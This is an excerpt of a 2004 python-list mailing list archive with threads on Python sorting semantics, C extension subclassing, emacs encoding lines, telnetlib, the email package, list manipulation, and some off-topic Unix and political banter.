invoked by the "make" command. If you > >> typed "make love" it would respond with "...not war?" before > >> beginning the edit. > > > >But can it quote Zippy the Pinhead? > > Who? http://www.zippythepinhead.com/ If you're runnning emacs, you can get a quote from him with M-X yow Not exactly a typical editor function, agreed. I was feeling a little whimsical at the time. Joe -- If you don't think too good, don't think too much - Ted Williams From fumanchu at amor.org Tue Sep 21 14:25:49 2004 From: fumanchu at amor.org (Robert Brewer) Date: Tue, 21 Sep 2004 11:25:49 -0700 Subject: Python 3.0, rich comparisons and sorting order Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022EF6@exchange.hqamor.amorhq.net> Carlos Ribeiro wrote: > On Tue, 21 Sep 2004 17:24:48 +0000 (UTC), Steven Bethard > <steven.bethard at gmail.com> wrote: > > Could you give an example of a list that you'd like to do > this to? I'm still > > having trouble imagining a list of disparate types that I > call sort on... > > Assume that you're implementing a spreadsheet like application in > Python. The user fills a column with arbitrary data, and asks for it > to be sorted. What is the sorting order? Excel, for instance, defines > an ordering (it's arbitrary, but it's deterministic). ...which should tell you it's application-specific, and shouldn't be in the core. "In the face of ambiguity, refuse the temptation to guess." Robert Brewer MIS Amor Ministries fumanchu at amor.org From hbostic at santeecooper.com Fri Sep 24 14:14:27 2004 From: hbostic at santeecooper.com (Unixtrekkor) Date: 24 Sep 2004 11:14:27 -0700 Subject: Trouble compiling numeric module on TRU64 UNIX Message-ID: <3035f851.0409241014.1434adff@posting.google.com> I am unable to successfully compile Numeric 23-3.3. I running python 2.3.4. Running python setup.py install yields the following error: running install running build running build_py running build_ext building 'lapack_lite -I ./Include Src/lapack_litemodule.c' extension creating /Include Src creating /Include Src/lapack_litemodule ld -shared -expect_unresolved * build/temp.osf1-V4.0-alpha-2.3/Src/lapack_litemodule.o -L/usr/lib/atlas -llapack -lcblas -lf77blas -latlas -lg2c -o /Include Src/lapack_litemodule/c.so ld: Can't locate file for: -llapack error: command 'ld' failed with exit status 1 Any help will be appreciated as I am not knowledgeable of C. Thanks for your time. From onurb at xiludom.gro Tue Sep 21 15:03:02 2004 From: onurb at xiludom.gro (bruno modulix) Date: Tue, 21 Sep 2004 21:03:02 +0200 Subject: python ides In-Reply-To: <mailman.3662.1095789622.5135.python-list@python.org> References: <cip735$e01$1@sea.gmane.org> <mailman.3662.1095789622.5135.python-list@python.org> Message-ID: <41507c8f$0$25693$636a15ce@news.free.fr> kevin a ?crit : > I am not talking about this ide being the nicest looking, or its drag and > drop features for building guis (it doesnt have) , or some other superfluos > feature that some people hate about a tipical ide. > > I am talking about pure functionality we all want, > advanced debugging , > inline object information , >fast proyect development,etc. "Proyect" ? Seems like our friend the troll Julio has changed its skin... From john at grulic.org.ar Fri Sep 3 13:03:22 2004 From: john at grulic.org.ar (John Lenton) Date: Fri, 3 Sep 2004 14:03:22 -0300 Subject: Combining mode and encoding in emacs In-Reply-To: <slrncjh719.bs2.mlh@furu.idi.ntnu.no> References: <slrncjh719.bs2.mlh@furu.idi.ntnu.no> Message-ID: <20040903170322.GB8534@grulic.org.ar> On Fri, Sep 03, 2004 at 04:30:33PM +0000, Magnus Lie Hetland wrote: > If I want to specify both mode and source encoding using the > > -*- FOO -*- > > syntax in emacs -- how can I do that? Both insist on being on the > second line of the file, yet I have found no way of combining them. > That is, the following doesn't work properly (not in all emaxen, at > least): > > #!/usr/bin/env python > # -*- encoding: iso-8859-1 -*- > # -*- python -*- > > If I switch the two, Python doesn't get the encoding. (I need to > specify the mode, because the file has a '.cgi' ending.) what I do is # -*- python -*- coding: iso-8859-1 -*- -- John Lenton (john at grulic.org.ar) -- Random fortune: La sociedad moderna olvida que el mundo no es propiedad de una ?nica generaci?n. -- Oskar Kokoshka. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 196 bytes Desc: Digital signature URL: <http://mail.python.org/pipermail/python-list/attachments/20040903/dfa44947/attachment.sig> From fumanchu at amor.org Sat Sep 4 14:57:49 2004 From: fumanchu at amor.org (Robert Brewer) Date: Sat, 4 Sep 2004 11:57:49 -0700 Subject: POST method, CGI and file transfer Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022EBA@exchange.hqamor.amorhq.net> Michael Foord wrote: > Another http question. > First one is simple - if a POST is made *to* a CGI with file uplaods > then you can get a FieldStorage with list values - each entry in the > list being a file. Two questions about this : > 1) Is this the only situation you'll get list values posted to a CGI ? > If you have a list value in your FieldStorage instance can you be sure > that it's files ? If I understand your question correctly, the answer is no. Regardless of whether you use GET or POST, you can submit something like "/script.cgi?value=1&value=2&value=3" and expect a list: value = [1, 2, 3]. This behavior was around long before file uploads. ;) Robert Brewer MIS Amor Ministries fumanchu at amor.org From nobody at nowhere.com Thu Sep 23 16:27:20 2004 From: nobody at nowhere.com (Yannick Turgeon) Date: Thu, 23 Sep 2004 16:27:20 -0400 Subject: telnetlib close not closing sockets References: <ab19b1e4.0409221437.573b3018@posting.google.com> <nwn4d.19601$pA.1328640@news20.bellglobal.com> <ab19b1e4.0409231130.6d1e1b7e@posting.google.com> Message-ID: <okG4d.28703$bL1.1119138@news20.bellglobal.com> Mike, Concerning you "expect()" problem (which is very similar to read_until()) Probably that it's working for 1, 2, 3 commands... but after a couple more it's no more working? Is that your situation? I'll tell you a terrible secret: Window's telnet is not sending you back only your command result. You should read this post before working any harder: http://groups.google.ca/groups?selm=RUSQc.43590%24Jq2.1867410%40news20.bellg lobal.com The solution: If you're facing this, you'll have to use a Telnet Program using "stream-mode". I'm not sure Windows' Telnet can do this. After long hours searching what was happening, to finally find it was caused by Windows' Telnet not respecting Telnet Protocol, my company bougth "Pragma TelnetServer" and all my telnetlib problem finally went away. I learned afterward about "stream-mode" so I don't know if Windows' Telnet offer this. Really hope this help. Yannick "Mike Monaghan" <junkmail at chipworks.net> wrote in message news:ab19b1e4.0409231130.6d1e1b7e at posting.google.com... > I do have a problem with an expect, but I'm 99% sure a control > character in the stream is missing from my expect statement because > some of the strings are being detected. I'm going to play with it > again tonight. From carribeiro at gmail.com Tue Sep 7 19:42:35 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Tue, 7 Sep 2004 20:42:35 -0300 Subject: What about an EXPLICIT naming scheme for built-ins? In-Reply-To: <Jvo%c.214562$OR2.9955162@news3.tin.it> References: <opsdq5katd35jo5o@news.gmane.org> <864d370904090306333b53ef56@mail.gmail.com> <59e9fd3a04090307154bfd6fd8@mail.gmail.com> <mailman.2838.1094223946.5135.python-list@python.org> <1gjjy5c.k1wnvwp3qfnpN%aleaxit@yahoo.com> <864d370904090413356356d84d@mail.gmail.com> <CBB882B2-FF60-11D8-A6A1-000A95EFAE9E@yahoo.com> <mailman.2907.1094416926.5135.python-list@python.org> <1gjnx6t.1vayevnrckt5yN%aleaxit@yahoo.com> <Jvo%c.214562$OR2.9955162@news3.tin.it> Message-ID: <864d370904090716423ed646e5@mail.gmail.com> On Tue, 07 Sep 2004 20:04:57 GMT, Anna Martelli Ravenscroft <anna at aleax.it> wrote: > I *guess* I had thought of it, if at all, as something similar to > int('2') or float(2). They're useful, but only in very limited specific > cases. I would have expected list('cat') to force a list out of the > string. Just like int() or float() and, well, that's it. That's as far > as I would have thought of it as being useful... Extending your reasoning a little bit, list(anything) smells a typecast -- something that's used to convert a variable of one type into a variable of another type. But a generator can't be "typecast" in my mental model -- it`s not a variable. It is a "program" that returns a sequence of values that have to be processed somehow. On the other hand, [x for x in generator()] reads as a description of what is getting done -- an algorithm of sorts -- and then it comes up as a natural solution for the problem. Now I'll admit my ignorance and say that I didn't had the slightest idea about what do generator expressions meant until now. I just read the PEP, and it`s neat -- but I havent time to figure out the impact (remember, I was out of the list over the past year and half :-) -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From cjblaine at gmail.com Sun Sep 19 10:39:27 2004 From: cjblaine at gmail.com (Jeff Blaine) Date: Sun, 19 Sep 2004 14:39:27 GMT Subject: Cannot get email package to work In-Reply-To: <mailman.3501.1095594391.5135.python-list@python.org> References: <SWI2d.1783$wV.1727@attbi_s54> <ws23d.196270$4o.164504@fed1read01> <mailman.3501.1095594391.5135.python-list@python.org> Message-ID: <zSg3d.10410$wV.3107@attbi_s54> I figured it out after trying again (and it worked). I believe I had done the following in my interpreter: >>> import email >>> myfd = open('c:/temp/my-work.eml') >>> email.message_from_file(myfd) <email.Message.Message instance at 0x00A799E0> <-- oops, forgot to assign >>> msg = email.message_from_file(myfd) <-- now this is broken >>> msg.keys() [] >>> msg.get_all('From') >>> It works though if you do it right the first time. Thanks for the prodding. >>> newfd = open("C:/temp/my-work.eml", 'r') >>> newmsg = email.message_from_file(newfd) >>> newmsg.keys() ['Return-Path', 'Delivered-To', 'Received', 'Received', 'Received', 'Message-ID', 'Date', 'From', 'User-Agent', 'X-Accept-Language', 'MIME-Version', 'To', 'Subject', 'Content-Type', 'Content-Transfer-Encoding'] >>> Heiko Wundram wrote: > Am Sonntag, 19. September 2004 00:12 schrieb Steve Holden: > >>Under Windows Python 2.3.3 (#51, Dec 18 2003, 20:22:39), however, I see >> >> >>> fd=file("C:\\cygwin\\tmp\\test.eml") >> >>> msg =- email.message_from_file(fd) >> >>Traceback (most recent call last): >> File "<stdin>", line 1, in ? >>AttributeError: Message instance has no attribute '__neg__' > > > ---> Typo, should be msg = email.message_from_file(fd) > > So, I guess it does work under windows. ;) > > Heiko. From peter at engcorp.com Wed Sep 1 12:06:03 2004 From: peter at engcorp.com (Peter Hansen) Date: Wed, 01 Sep 2004 12:06:03 -0400 Subject: I've seen things you people wouldn't believe... ;-) (was Re: age of Python programmers) In-Reply-To: <Pine.LNX.4.44.0409011131230.23334-100000@ccc4.wpi.edu> References: <20040819231139.D039A1E4003@bag.python.org> <mailman.1999.1092969866.5135.python-list@python.org> <eyqWc.223375$j62.10948731@phobos.telenet-ops.be> <qVAWc.2328$MR2.9560@news1.mts.net> <njemi0hrm3jb1kdc8mhg8krd9a4qu3e894@4ax.com> <896dnZfdH8-l1rbcRVn-qw@powergate.ca> <Pine.LNX.4.44.0409011131230.23334-100000@ccc4.wpi.edu> Message-ID: <jtydnVikdo3wbqjcRVn-ug@powergate.ca> Christopher T King wrote: > On Tue, 24 Aug 2004, Peter Hansen wrote: >>Andrea Griffini wrote: >>>I've seen things you people wouldn't believe... ;-) >>How many could post stories of companies without >>any form of revision control, except perhaps those >>printouts in Winnifred's bottom drawer from last year? > > I certainly could. > >>Or people who resorted to print statements during > > Hey, print statements are a perfectly valid form of debugging! :) For the record, I agree and have used them in many instances, but in the full context of what I wrote they were clearly inappropriate. -Peter From cbfalconer at yahoo.com Fri Sep 3 01:03:36 2004 From: cbfalconer at yahoo.com (CBFalconer) Date: Fri, 03 Sep 2004 05:03:36 GMT Subject: Xah Lee's Unixism References: <41337FC9.8070902@hotmail.com> <slrncj7hhh.2pt.amajorel@atc5.vermine.org> <p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com> <slrncj8m5n.2pt.amajorel@atc5.vermine.org> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <opsdpdzglzpqzri1@mjolner.upc.no> <slrncjep0f.oa.amajorel@vulcain.knox.com> <opsdpprvxppqzri1@mjolner.upc.no> <slrncjf52a.oa.amajorel@vulcain.knox.com> <opsdp09czgpqzri1@mjolner.upc.no> <h0afj09mbdtleke0ughuntobho8f12o8ck@4ax.com> Message-ID: <4137F99C.FA48E44A@yahoo.com> Alan Balmer wrote: > <john.thingstad at chello.no> wrote: > >> well documented at the time. Linux Pauling started out with minix >> and then went on to make a (mostly) posix compliant unix. > > Linux Pauling? I know about Linus Torvalds and Linus Pauling . I > don't think the latter had much to do with Linux. This has to do with the well known metamorphosis of the common cold into an OS when treated with large doses of vitamin C. Those viruses are smart. -- "A man who is right every time is not likely to do very much." -- Francis Crick, co-discover of DNA "There is nothing more amazing than stupidity in action." -- Thomas Matthews From jmfbahciv at aol.com Sun Sep 12 07:49:48 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Sun, 12 Sep 04 11:49:48 GMT Subject: Xah Lee's Unixism References: <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <opsd2vlvy7pqzri1@mjolner.upc.no> <1549.748T655T9283520@kltpzyxm.invalid> Message-ID: <41444b11$0$6932$61fed72c@news.rcn.com> In article <1549.748T655T9283520 at kltpzyxm.invalid>, "Charlie Gibbs" <cgibbs at kltpzyxm.invalid> wrote: >In article <opsd2vlvy7pqzri1 at mjolner.upc.no>, john.thingstad at chello.no >(John Thingstad) writes: > >>On Thu, 09 Sep 04 13:12:17 GMT, <jmfbahciv at aol.com> wrote: >> >>> I really want to know. People keep saying this but never say which >>> freedoms have been lost. >> >>Since this is somewhat related to computer programming and AI I will >>reply. >> >>The US has started a initiative to integrate all information about >>people in the USA into a central database. > >Not just people in the USA. > >>This includes confidential information like your medical files. > ><snip> > >>The main challenge in computing is sieving through the amount of data. >>Politically it is to pressure the foreign governments to wave their >>privacy protection acts and allow unlimited access to information to >>a foreign power. > >It's been revealed that here in British Columbia (that part of >Canada on the Pacific coast for those of you who are geographically >challenged), management of medical information has been farmed out >to a subsidiary of a U.S. corporation. I'll bet one of your pennies that the subsidiary has farmed it back out of the country. > .. According to the Patriot Act, >the U.S. government is entitled to access these files, and anyone - >American or Canadian - who so much as mentions that they're doing it >can be thrown into a U.S. jail. [emoticon daydreams about certain talking heads getting caught] > >>Don't know what you think of this but it scares the hell out of me! > >Me too. Sure. But the whole thing becomes moot if western civ is gone. There are other things getting put into law and custom by politicians that are even scarier but there won't be any chance of rectifying rabid Republican brain damage if there isn't any civ left. /BAH Subtract a hundred and four for e-mail. From ipmonger at comcast.net Sun Sep 5 20:30:03 2004 From: ipmonger at comcast.net (Jon Boone) Date: Sun, 05 Sep 2004 20:30:03 -0400 Subject: Xah Lee's Unixism References: <slrncj1745.t5q.amajorel@atc5.vermine.org> <41337FC9.8070902@hotmail.com> <slrncj7hhh.2pt.amajorel@atc5.vermine.org> <p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com> <slrncj8m5n.2pt.amajorel@atc5.vermine.org> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <41371e5c$0$19723$61fed72c@news.rcn.com> <20040904.2231.57679snz@dsl.co.uk> <413af268$0$19706$61fed72c@news.rcn.com> Message-ID: <BD6127CB.220DF%ipmonger@comcast.net> On 2004-09-05 05:42, in article 413af268$0$19706$61fed72c at news.rcn.com, "jmfbahciv at aol.com" <jmfbahciv at aol.com> wrote: > Sigh! If CMU had it, I would have assumed it got hornshoed into > VMS. > >> ..or >> Wollongong universities. Then, of course, there was what many regarded >> as the best TCP/IP stack for VMS, MultiNet from TGV (Two Guys and a VAX). >> That product also included a working NFS implementation. By the late 1980s and early 1990s, the remaining VMS machines at CMU seemed to mostly run TGV MultiNet, which was an absolutely awesome TCP/IP implementation. All of the VMS admins I had contact with (I had to admin a single VMS machine) seemed to use MultiNet. --jon From adalke at mindspring.com Tue Sep 21 16:01:10 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Tue, 21 Sep 2004 20:01:10 GMT Subject: Python 3.0, rich comparisons and sorting order In-Reply-To: <mailman.3663.1095790072.5135.python-list@python.org> References: <864d370904092109509df67ee@mail.gmail.com> <loom.20040921T192348-961@post.gmane.org> <mailman.3663.1095790072.5135.python-list@python.org> Message-ID: <aM%3d.1680$g42.1211@newsread3.news.pas.earthlink.net> Carlos Ribeiro suggested the following as a use case for requiring that any two Python objects be compare-able: > Assume that you're implementing a spreadsheet like application in > Python. The user fills a column with arbitrary data, and asks for it > to be sorted. What is the sorting order? Excel, for instance, defines > an ordering (it's arbitrary, but it's deterministic). In that case they most likely have a CellData object which can be compared with other CellData objects. To the list it's a bunch of homogenous objects. To sort then either the CellData objects define how to compare two of themselves, or there's a way to generate a value which used as the sort key. > sort() should work regardless of the list elements, and return a > reasonable result, even if not strictly correct in the numerical > sense. L = [open("/etc/passwd"), {"A": 1}, urllib.urlopen("http://python.org"), IOException(), Tkinter.Toplevel(), PIL.Image.open("my.jpg")] L.sort() What's a reasonable sort here? All solutions eventually end up comparing object ids when everything else fails. But that breaks another reasonable argument which is that L1 = [ .. some list with items that can't be compared .. ] L1.sort() L2 = pickle.loads(pickle.dumps(L1)) L2.sort() assert L1 == L2 This doesn't work because the reconstituted list will have different object ids, which might be in a different order. What should this do? class NoCompare: def __cmp__(self, other): raise SystemExit("no compare") __lt__ = __gt__ = __eq__ = __neq__ = .... = __cmp L3 = [NoCompare(), NoCompare(), NoCompare()] L3.sort() > The set, in this particular case, > is a Python list, that *can* contain arbitrary data. So it does not > make sense (in my not-so-humble opinion) for sort to impose > restrictions based on the list element type. By that definition you require that all other list methods can work on all data. Consider >>> class NoCompare: ... def __eq__(self, other): raise AssertionError("no compare") ... >>> L = [1, 3, NoCompare(), 5] >>> 3 in L True >>> 5 in L Traceback (most recent call last): File "<stdin>", line 1, in ? File "<stdin>", line 2, in __eq__ AssertionError: no compare >>> the "__contains__" method imposes a restriction that types can be compared for equality. > (BTW, if we extend this reasoning, the same could be said for other > types of functions that work over sets -- sum() should ignore > non-numeric values, etc. But that's another philosophical battle) I think my example is more relevant. Sum() explicitly says it only works on numeric types and gives justification for why that choice was made. Andrew dalke at dalkescientific.com From ialbert at mailblocks.com Tue Sep 21 08:48:06 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Tue, 21 Sep 2004 08:48:06 -0400 Subject: Why not FP for Money? In-Reply-To: <cc887c1d.0409202325.76ec2227@posting.google.com> References: <cc887c1d.0409202325.76ec2227@posting.google.com> Message-ID: <pKadncbXTtWZvs3cRVn-pg@giganews.com> Chris Barker wrote: > I understand that when your numbers got large enough, you'd start to > lose the pennies, FP rounding errors have less to do with the *size* of the value rather than the number of operations that are performed. > What am I missing here? The money. Or, equally likely, someone willing to pay the missing amounts. Istvan. From mwilson at the-wire.com Wed Sep 8 08:08:29 2004 From: mwilson at the-wire.com (Mel Wilson) Date: Wed, 08 Sep 2004 08:08:29 -0400 Subject: Remove items from a list References: <ysv%c.32876$Dl4.14767@fe2.texas.rr.com> <mailman.3029.1094638477.5135.python-list@python.org> Message-ID: <9YvPBls/KvrF089yn@the-wire.com> In article <mailman.3029.1094638477.5135.python-list at python.org>, Egbert Bouwman <egbert.list at hccnet.nl> wrote: >On Wed, Sep 08, 2004 at 03:59:26AM +0000, Stan Cook wrote: >> I was trying to take a list of files in a directory and remove all but the ".dbf" files. I used the following to try to remove the items, but they would not remove. Any help would be greatly appreciated. >> >> x = 0 >> for each in _dbases: >> if each[-4:] <> ".dbf": >> del each # also tried: del _dbases[x] >> x = x + 1 >> >> I must be doing something wrong, but it acts as though it is.... >> >The answers you received don't tell you what you are doing wrong. >If you replace 'del each' with 'print each' it works, >so it seems that you can not delete elements of a list you are >looping over. But I would like to know more about it as well. One use of `del` is to remove a name from a namespace, and that's what it's doing here: removing the name 'each'. A paraphrase of what's going on is: for i in xrange (len (_dbases)): each = _dbases[i] if each[-4:] <> ".dbf": del each and we happily throw away the name 'each' without touching the item in the list. The way to remove items from a list is (untested code): for i in xrange (len (a_list)-1, -1, -1): if i_want_to_remove (a_list[i]): del a_list[i] Going through the list backwards means that deleting an item doesn't change the index numbers of items we've yet to process. `del a_list[i]` removes from the list the reference to the object that was the i'th item in the list (under the hood, a Python list is implemented as an array of references.) This is one reason list comprehensions became popular so fast. Regards. Mel. From keir at mooncode.com Wed Sep 8 16:36:59 2004 From: keir at mooncode.com (keirr) Date: 8 Sep 2004 13:36:59 -0700 Subject: tuples allocated by formated print ? Message-ID: <chnqhb$ttt@odak26.prod.google.com> Alexander Hoffmann wrote: > On Wednesday 08 September 2004 17:12, Jp Calderone wrote: > > Alexander Hoffmann wrote: <snip> > two facts tell me that there is something wrong: > 1. They contain personal data (for example concerning my example from above, > I find a tuple like ("alex", ). I think you will see this if the tuples are inside functions, or other persistant objects. > 2. I have my program running on my workstation and it's size in memory > slightly increases over time. It would be foolish of me to try and deduce too much from that, even if I speculated as to how much time, and how slight the increase was. Perhaps you could extract any suspect blocks of code and create a harness to run them repeatedly, looking for a clear indication of a memory leak. All the best, Keir. From john at grulic.org.ar Sat Sep 11 08:50:33 2004 From: john at grulic.org.ar (John Lenton) Date: Sat, 11 Sep 2004 09:50:33 -0300 Subject: Nested class structures In-Reply-To: <Xns9560B1CD8670OKB@130.133.1.4> References: <Xns95607B54E1208OKB@130.133.1.4> <WPSdnS4yN4xs3t_cRVn-jw@comcast.com> <Xns9560B1CD8670OKB@130.133.1.4> Message-ID: <20040911125033.GA19369@grulic.org.ar> On Sat, Sep 11, 2004 at 12:28:44AM +0000, OKB (not okblacke) wrote: > Yeah, sorry, I should have been a little more clear. Anyway, it's > important that these be actual class definitions, because I want the > ability to include per-class methods and stuff. So I don't really want > a bunch of identical anonymous classes. I want something like: > > class class1: > class anon: > def meth1(self): print "meth1" > class anon: > def meth1(self): print "different meth1" > class anon: > def meth1(self): print "another meth1" > > This is why I want to define the classes inline, nested in the > other class. I'm trying to leverage the syntactic structure of class > definitions to get nested structures of code. It's somewhat akin to > > a = { 'one': 1, > 'nested': { 'two': 2, 'three': 3, > 'nestnest': { 'four': 4, 'five': 5 } > } > 'othernest': { 'six': 6 } > } > > . . . except that I want the ability to include arbitrary python > code where I have 1, 2, 3 there (as dictionary values). As far as > I can tell, Python doesn't provide a way to define code as part of > a larger expression like this, except in a class definition. Two things. First, I don't understand (you don't explain) your requirement for the classes to be 'anonymous'; the example in the dict can be made easily, with class a: one = 1 class nested: two = 2 three = 3 class nestnest: . . . but obviously there's something more to it. Second, a class is an object like any other; you can include it in a dictionary (that's all a nested class is doing, really, with some sugar to get at it in convenient ways), push it into a list, whatever. They're even hashable, so you can use them as dictionary keys. -- John Lenton (john at grulic.org.ar) -- Random fortune: Don't tell any big lies today. Small ones can be just as effective. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 196 bytes Desc: Digital signature URL: <http://mail.python.org/pipermail/python-list/attachments/20040911/fcdd0943/attachment.sig> From porky_pig_jr at my-deja.com Thu Sep 2 21:45:33 2004 From: porky_pig_jr at my-deja.com (Porky Pig Jr) Date: 2 Sep 2004 18:45:33 -0700 Subject: YOU ALL SUCK! References: <1bf5bcb9.15695836@aol.com> <Pine.LNX.4.44.0409012156390.29696-100000@ccc4.wpi.edu> Message-ID: <56cfb0e3.0409021745.712d2f6d@posting.google.com> Christopher T King <squirrel at WPI.EDU> wrote in message news:<Pine.LNX.4.44.0409012156390.29696-100000 at ccc4.wpi.edu>... > This is a common newbie trap. The reason is that default arguments are > only evaluated once; any changes you make to the list will be reflected in > the default argument. > Say Chris, are you trying to bit some 'random BS generator' with another 'random Python answers' generator? From iker at research.att.com Tue Sep 14 18:30:08 2004 From: iker at research.att.com (Iker Arizmendi) Date: Tue, 14 Sep 2004 22:30:08 GMT Subject: Subclassing in C In-Reply-To: <41475057.1080604@research.att.com> References: <I4057u.3Er@research.att.com> <m31xh59i9h.fsf@pc150.maths.bris.ac.uk> <41470D3A.1040206@research.att.com> <m3vfeg965o.fsf@pc150.maths.bris.ac.uk> <41473FCF.5000706@research.att.com> <41475057.1080604@research.att.com> Message-ID: <I41yoD.Arn@research.att.com> After some more poking around I think I've found a solution to my problem. But although it works, it doesn't look like the right way to do things. In short, I updated the tp_getattro method of my subclass to explicitly check its base class for the presence of any attributes it doesn't know about. Eg. static PyObject* PyGrm_GetAttro(PyObject *obj, PyObject* name) { PyObject* r = Py_FindMethod(PyGrmReplace_methods, obj, PyString_AsString(name)); if( PyErr_Occurred() ) { if( PyErr_ExceptionMatches(PyExc_AttributeError) ) { PyErr_Clear(); PyTypeObject* t = obj->ob_type; return t->tp_base->tp_getattro(obj, name); } } return r; } Again, in this case this works just fine as I know I'm only interested in the one base class. But if I had a deeper inheritance hierarchy I would have to do the lookup across each base class myself. Regards, Iker Iker Arizmendi wrote: > After placing a printf statement in both of these methods > > fsmpy_getattro > PyGrm_GetAttro > > I notice that when calling the "type" method of my > subclass like so: > > g = grm.GrmReplace(...) > print g.type() > > only the PyGrm_GetAttro method is called. I expected > that the call to Py_FindMethod would eventually call > fsmpy_getattro since my subclass doesn't have a method > called "type" (here the "type" method has nothing to do > with Python types, it's just what we happen to call > one of our methods). > > > Regards, > Iker > > > Iker Arizmendi wrote: > >> Michael Hudson wrote: >> >>> Iker Arizmendi <iker at research.att.com> writes: >>> >>>> (*) The class I'm deriving from is defined in another >>>> extension module and it has its own tp_getattr method. >>> >>> >>> >>> >>> Hmm. I take it *it's* tp_getattr[o] method isn't >>> PyObject_GenericGetAttr then? >>> >>> Then your initial post makes more sense; I'm afraid I don't see >>> any obvious reason for PyObject_GenericGetAttr to crash. >> >> >> >> Ah! I missed the trailing 'o' and set tp_getattr, not >> tp_getattro as you suggested. However, after setting it >> correctly (I think), things still don't behave as I would >> expect (eg, the subclass has the union of its methods and >> the base class methods). The complete code is pretty long >> so I'm not sure I can post it (most of it deals with non >> Python stuff) - but here's a more complete piece that >> relates to setting up the classes. >> >> The base class (defined in a separated module) looks >> like so: >> >> static PyMethodDef fsmpymethods[] = >> { >> { >> "type", (PyCFunction) fsmpytype, >> METH_NOARGS, >> "type() -> string\n\nReturn FSM type." >> }, >> ... >> { >> NULL, NULL, 0, NULL >> } >> }; >> >> static PyObject* >> fsmpy_getattro(PyObject *obj, PyObject* name) >> { >> return Py_FindMethod(fsmpymethods, obj, >> PyString_AsString(name)); >> } >> >> PyTypeObject FSMPyType = >> { >> PyObject_HEAD_INIT(NULL) >> 0, >> "fsm.Fsm", >> sizeof(FSMPyObject), >> 0, >> fsmpy_dealloc, /*tp_dealloc*/ >> 0, /*tp_print*/ >> 0, /*tp_getattr*/ >> 0, /*tp_setattr*/ >> fsmpy_getattro, /*tp_getattro*/ >> ... >> 0, /*tp_setattro*/ >> 0, /*tp_as_buffer*/ >> Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, /*tp_flags*/ >> ... >> }; >> >> The base class doesn't have a new or init method as the author >> provides an explicit "create" method. >> >> The subclass that I've put together now looks like so (note >> that I now use the tp_getattro method, and cleared both >> tp_methods and tp_members): >> >> static PyMethodDef PyGrmReplace_methods[] = >> { >> { >> "mutate", (PyCFunction)PyGrmReplace_mutate, >> METH_VARARGS|METH_KEYWORDS, >> "mutate(fsm1 [, mode]) -> fsm\n" >> }, >> ... >> {NULL} >> }; >> >> static PyObject* >> PyGrm_GetAttro(PyObject *obj, PyObject* name) >> { >> return Py_FindMethod(PyGrmReplace_methods, obj, >> PyString_AsString(name)); >> } >> >> static PyTypeObject PyGrmReplaceType = >> { >> PyObject_HEAD_INIT(NULL) >> 0, /* ob_size */ >> "grm.GrmReplace", /* tp_name */ >> sizeof(PyFsmObject), /* tp_basicsize */ >> 0, /* tp_itemsize */ >> PyGrmReplace_dealloc, /* tp_dealloc */ >> 0, /* tp_print */ >> 0, /* tp_getattr */ >> 0, /* tp_setattr */ >> ... >> PyGrm_GetAttro, /* tp_getattro */ >> 0, /* tp_setattro */ >> 0, /* tp_as_buffer */ >> Py_TPFLAGS_DEFAULT, /* tp_flags */ >> "GrmReplace objects", /* tp_doc */ >> ... >> 0, /* tp_methods */ >> 0, /* tp_members */ >> ... >> PyGrmReplace_init, /* tp_init */ >> 0, /* tp_alloc */ >> PyGrmReplace_new, /* tp_new */ >> }; >> >> PyMODINIT_FUNC >> initgrm(void) >> { >> PyGrmReplaceType.tp_new = PyGrmReplace_new; >> PyGrmReplaceType.tp_base = pointerToFSMPyType; >> if (PyType_Ready(&PyGrmReplaceType) < 0) >> return; >> >> PyObject* m = Py_InitModule3("grm", grm_methods, >> "Python binding for the AT&T GRM library"); >> Py_INCREF(&PyGrmReplaceType); >> PyModule_AddObject(m, "GrmReplace", (PyObject*)&PyGrmReplaceType); >> } >> >> And the result of this is that an instance of grm.GrmReplace >> makes the mutate method available, but doesn't have the >> type() method from the fsm.Fsm class. Is there some "canonical" >> form for implementing this? >> >> Thanks again, >> Iker >> >> >>> >>> >>>> Here's the stack trace (via Valgrind), just in case: >>> >>> >>> >>> >>> A stack trace from gdb (i.e. with line numbers) would have been more >>> use. >>> >>> I think you have two options here: (a) make friends with gdb or (b) >>> post [a link to, maybe] complete code. >>> >>> Cheers, >>> mwh >>> From steven.bethard at gmail.com Tue Sep 28 16:34:00 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Tue, 28 Sep 2004 14:34:00 -0600 Subject: all pairs of items in a list without indexing? Message-ID: <d11dcfba04092813343e99fff6@mail.gmail.com> So I need to do something like: for i in range(len(l)): for j in range(i+1, len(l)): # do something with (l[i], l[j]) where I get all pairs of items in a list (where I'm thinking of pairs as sets, not tuples, so order doesn't matter). There isn't really anything wrong with the solution here, but since Python's for-each construction is so nice, I usually try to avoid range(len(..)) type calls and list indexing when I can... Is there any way to do this without indexing, e.g.: for item1 in ...: for item2 in ...: # do something with (item1, item2) I could do something like: for i, item1 in enumerate(l): for j in range(i+1, len(l)): (item1, l[j]) but that only gets me halfway there... I also thought of something like: for i, item1 in enumerate(l): for item2 in l[i+1:]: (item1, item2) but that seems like a lot of wasteful list slicing... Thanks in advance, Steve -- You can wordify anything if you just verb it. - Bucky Katt, Get Fuzzy From ialbert at mailblocks.com Wed Sep 29 